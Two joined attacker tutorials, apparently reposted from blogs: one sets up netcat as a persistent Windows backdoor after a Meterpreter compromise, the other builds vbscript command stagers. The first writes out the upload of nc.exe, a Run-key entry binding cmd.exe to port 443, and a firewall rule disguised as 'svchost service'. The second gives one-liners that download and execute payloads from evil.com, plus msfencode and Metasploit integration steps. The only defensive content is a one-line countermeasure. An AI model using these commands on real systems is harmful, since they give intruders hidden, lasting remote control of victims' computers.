Install netcat as permanent backdoor using metasploit

When an attacker successfully compromise a system they need to maintain the connection, that’s why the attacker usually installing backdoor on victim computer for future use to make attacker easily connect to victim computer to use victim resource, and collecting data on victim computer.

Are you sure netcat can be used as a backdoor? yes sure of course 

In this tutorial I will write down the technique to set up the famous listener application NetCat as a backdoor for Windows system when attacker successfully compromised victim computer and gaining meterpreter access. This tutorial I will write based on gaining access using java signed applet exploit in my previous tutorial.

Requirements :

1. NetCat

2. Meterpreter Script (you can get meterpreter script when successfully compromise victim with selected payload)

Step By Step :

1. The first step you need to gain an access to victim computer and get a meterpreter script for the payload ( I’m using java signed applet from my previous tutorial).

2. The next step you need to upload your NetCat.exe to victim computer by using following command :

Code:

upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32
 
upload nc.exe and place it in C:\windows\system32 on victim computer

When it failed to upload(look the picture above), you need to escalate your privilege to system account (view the tutorial privilege escalation here).

3. When upload process successful it will shown like this :

4. The next step we need to configure the registry to make NetCat execute on Windows start up and listening on port 443. We do this by editing the key “HKLM\software\microsoft\windows\currentversion\run“.

Enumerate the supplied registry key :

Code:

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

5. Then add our NetCat into start up process by running this command :

Code:

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
 
Successful set nc.

6. To check our backdoor autorun process and make sure it already added on autorun list :

Code:

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc

7. Until this step everything looks okay, for the next step we need to alter the system to allow remote connections through the firewall to our netcat backdoor using netsh command and open port 443 .

run shell command from meterpreter to access command prompt, and then run :

Code:

netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=443

8. When success add our firewall rule, let’s check and make sure our new rule has been added or not by using this command :

Code:

netsh firewall show portopening

9. Yep everything has been set up so great until this step, now we will run our netcat to try connect to victim computer by running :

Code:

nc -v victim_ip_address port

10. Let’s try our backdoor by restarting the victim computer by using reboot command from meterpreter orshutdown -r -t 00 from windows console and try again to connect using NetCat in step 9.

Select AllCode:

meterpreter > reboot
 
or
 
C:\windows\system32>shutdown -r -t 00

If our netcat show up a console, then we’re successful inject a NetCat backdoor to victim computer.

Countermeasures :

1. When you have activated windows firewall, make sure you also have other personal firewall installed to detect inbound or outbound packet.

Hope it’s useful 

[source: http://vishnuvalentino.com/computer/10-steps-to-use-netcat-as-a-backdoor-in-windows-7-system/]

Command stagers in Windows

Command injection/execution bugs are a relatively common vulnerability. For example, Internet Explorer, Google Chrome, and Mozilla Firefox have all had these problems, at least including common add-ons. (see http://www.securityfocus.com/archive/1/archive/1/499570/100/0/threaded,http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-5045, etc.) Many server-side scripts in webapps also suffer from the same issues.

Against a Linux target, many exploitation possibilities abound, from staging a payload via curl or wget, throwing up a shell via perl or ruby, or launching a double-reverse shell via telnet. Many of these have been implemented in Metasploit, even providing a number of encoders to obfuscate or avoid bad characters. But on Windows, telnet won’t work, and the other programs usually are not present. ReL1K presented on using powershell to provide many different payload and stager options on Windows, but it isn’t present by default on many Windows installations either. The TFTP and FTP commands are an option, but firewalls usually stop them from functioning. Vbscript support on the other hand, is present by default on all Windows versions from Windows 98 and NT 4 all the way to 7 and server 2008r2. So I prefer using a vbscript download/execute command line, which has also recently been incorporated into Metasploit. To launch a vbscript file from a command line, a vbscript file needs to be executed, so the command needs to create the file, then launch it. The completed command looks like this:

Code:

cmd.exe /q /c echo Set F=CreateObject("Microsoft.XMLHTTP") >e.vbs&echo F.Open "GET","https://evil.com/evil.exe",
False >>e.vbs&echo F.Send >>e.vbs&echo Set IA=CreateObject("ADODB.Stream") >>e.vbs&echo IA.Type=1 >>e.vbs&echo IA.Open >>e.vbs&echo IA.Write F.responseBody >>e.vbs&echo IA.SaveToFile "%tmp%\cj.exe",
2 >>e.vbs&echo CreateObject("WScript.Shell").Run "%tmp%\cj.exe" >>e.vbs&echo CreateObject("Scripting.FileSystemObject").DeleteFile "e.vbs" >>e.vbs&start e.vbs

The only problem is that the command is long. It’s not too long for cmd.exe or windows API calls, but some other programs have limits of 256 characters or less, and this command won’t work. The solution is to use a vbs stager; about half the command length can be cut by simply downloading and executing a vbscript file in memory:

Code:

cmd /q /c echo Set x=CreateObject("Microsoft.XMLHTTP") >v.vbs&echo x.Open "GET","http://www.evil.com/evil.vbs",
False >>v.vbs&echo x.Send >>v.vbs&echo Execute x.responseText >>v.vbs&start v.vbs

Now all you have to do is take your payload, encode it as a vbs,

Code:

msfencode -t vbs -o evil.vbs

and your complete exploit is ready. When run, your exploit will create and run a .vbs file that will then download and execute the payload vbs in memory, which will extract, write, and run an executable file containing the binary payload.

Integrate into metasploit by putting this file:http://scriptjunkie1.110mb.com/security/download_eval_vbs.rb into your msf3/modules/payloads/singles/cmd/windows directory.

[source]